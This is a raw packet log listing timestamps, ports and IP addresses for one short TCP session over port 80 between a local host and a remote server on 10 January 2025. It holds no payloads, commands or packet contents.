Jan 10, 2025 21:24:15.951247931 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:15.952025890 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.952040911 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.952054024 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.952065945 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.952080011 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.952085972 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:15.952096939 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.952106953 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:15.952109098 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.952147007 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:15.952955961 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.952967882 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.952980042 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.952991009 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.952991962 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:15.953002930 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.953015089 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:15.953022003 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.953036070 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.953044891 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:15.953087091 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:15.953701019 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.953795910 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.953808069 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.953830004 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:15.953831911 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.953839064 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.953844070 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.953845978 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.953864098 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:15.953885078 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:15.954654932 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.954669952 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.954680920 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.954693079 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.954694986 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:15.954705000 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.954720020 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.954727888 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:15.954732895 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.954757929 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:15.954777002 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:15.955487013 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.955511093 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.955548048 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:15.955719948 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.955737114 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.955749035 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.955760002 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.955770016 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:15.955771923 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.955787897 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.955792904 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:15.955823898 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:15.962923050 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.962987900 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.962999105 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.963018894 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.963031054 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.963032007 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:15.963043928 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.963057041 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.963061094 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:15.963071108 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.963083029 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:15.963118076 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:15.967778921 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.967792034 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.967840910 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.967931032 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.967941999 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.967938900 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:15.967952967 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.967964888 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.967976093 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.967976093 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:15.967986107 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:15.967988014 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.967998981 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.968019962 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:15.968029022 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:15.970432043 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:15.979373932 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:15.990608931 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.990629911 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.990647078 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.990664005 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:15.990686893 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:15.990708113 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.022809982 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.022851944 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.022864103 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.022893906 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.022905111 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.022906065 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.022923946 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.022933006 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.022949934 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.022960901 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.022964001 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.022981882 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.022994041 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.022994995 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.023029089 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.023142099 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.023153067 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.023164988 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.023176908 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.023189068 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.023206949 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.023224115 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.023236036 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.023247957 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.023260117 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.023272991 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.023302078 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.050383091 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.050446033 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.050457001 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.050468922 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.050484896 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.050506115 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.050566912 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.050584078 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.050601006 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.050606966 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.050614119 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.050621033 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.050637007 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.050651073 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.050661087 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.050674915 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.050684929 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.050703049 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.050714016 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.050782919 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.050821066 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.050893068 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.050904036 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.050923109 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.050935030 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.050937891 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.050945997 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.050959110 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.050971031 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.050976992 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.051004887 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.051096916 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.051112890 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.051126003 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.051137924 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.051152945 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.051161051 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.051218033 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.051228046 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.051242113 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.051253080 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.051266909 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.051330090 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.051348925 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.051362038 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.051386118 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.051464081 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.051476002 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.051486969 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.051500082 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.051510096 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.051512003 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.051522970 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.051537037 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.051537991 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.051548958 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.051559925 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.051580906 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.051912069 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.051924944 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.051937103 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.051949024 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.051959991 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.051970005 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.051976919 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.051979065 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.051985025 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.051986933 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.052001953 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.052021980 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.052218914 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.052231073 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.052241087 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.052253008 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.052273035 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.052277088 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.052277088 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.052282095 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.052284002 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.052289009 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.052294970 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.052323103 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.052768946 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.052781105 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.052793026 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.052803993 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.052809954 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.052815914 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.052828074 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.052834988 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.052839994 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.052850962 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.052861929 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.052862883 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.052875042 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.052880049 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.052886963 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.052897930 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.052902937 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.052913904 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.052920103 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.052922964 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.052932024 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.052952051 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.052978039 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.053150892 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.053169012 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.053174973 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.053203106 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.053257942 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.053270102 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.053282022 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.053296089 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.053301096 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.053308010 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.053319931 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.053330898 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.053339005 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.053344011 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.053359032 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.053376913 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.053577900 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.053620100 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.053653955 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.053667068 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.053678036 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.053689003 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.053699970 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.053700924 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.053714037 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.053726912 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.053741932 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.057576895 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.057621002 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.057626009 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.057641983 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.057653904 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.057665110 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.057693958 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.057724953 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.057744026 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.057749987 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.057764053 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.057764053 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.057787895 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.100924015 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.112586975 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.112597942 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.112621069 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.112637997 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.112651110 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.112649918 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.112663031 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.112674952 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.112683058 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.112687111 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.112695932 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.112701893 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.112732887 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.112744093 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.112755060 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.112765074 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.112776995 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.112778902 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.112802982 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.112838984 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.112850904 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.112864017 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.112874031 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.112875938 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.112911940 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.133115053 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.140316010 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.140331030 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.140346050 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.140367031 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.140373945 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.140384912 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.140408993 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.140410900 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.140424013 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.140427113 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.140434980 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.140448093 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.140464067 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.140466928 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.140480995 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.140490055 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.140515089 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.140532017 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.140532970 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.140542984 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.140552998 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.140583038 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.140609026 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.140615940 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.140626907 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.140638113 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.140664101 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.140707970 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.140719891 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.140732050 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.140758038 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.140780926 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.140860081 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.140872002 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.140882969 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.140896082 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.140908003 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.140909910 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.140928030 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.140934944 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.140939951 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.140953064 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.140961885 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.140980959 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.141051054 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.141062975 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.141072989 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.141084909 CET	80	49779	193.143.1.205	192.168.2.6
Jan 10, 2025 21:24:16.141093016 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.141122103 CET	49779	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:24:16.141217947 CET	80	49779	193.143.1.205	192.168.2.6
